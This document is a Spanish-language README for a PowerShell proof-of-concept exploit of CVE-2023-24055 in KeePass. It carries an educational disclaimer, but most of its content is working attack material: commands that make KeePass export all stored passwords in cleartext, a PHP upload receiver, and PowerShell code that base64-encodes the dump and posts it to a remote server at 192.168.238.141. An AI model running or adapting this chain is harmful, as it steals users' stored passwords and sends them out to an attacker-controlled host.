
POC de CVE-2023-24055 escrito en PowerShell.

Este script es únicamente para fines educativos y de demostración. El autor no respalda ni aprueba el uso de este script para actividades criminales o maliciosas, y solo debe usarse donde se permita explícitamente con el permiso adecuado.
Este script debe usarse con precaución, ya que modificará el archivo de configuración de KeePass y eliminará cualquier disparador configurado previamente. El uso de este script puede provocar un comportamiento inesperado y potencialmente romper la aplicación KeePass. Úselo bajo su propio riesgo.
Este script demuestra la vulnerabilidad ** EN DISPUTA ** (CVE-2023-24055) de KeePass hasta la versión 2.53 (en una instalación predeterminada), ya que permite que un atacante con acceso de escritura al archivo de configuración XML obtenga las contraseñas en texto claro añadiendo un disparador de exportación. Tenga en cuenta que la postura del proveedor es que la base de datos de contraseñas no está diseñada para ser segura contra un atacante que tenga ese nivel de acceso al PC local.
Referencias:
Para usar este script, ejecútelo en PowerShell y proporcione los parámetros necesarios. Los parámetros obligatorios son:
-filename: La ruta completa y el nombre del archivo al que se exportarán las contraseñas.Los parámetros opcionales son:
-uploadURL: Este conmutador se utiliza para especificar que los datos deben subirse a la URL indicada.-url: La URL a la que se deben subir los datos.Exportar contraseñas en texto claro:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
Exportar contraseñas en texto claro y subir la exportación al servidor web:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
Ayuda detallada:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");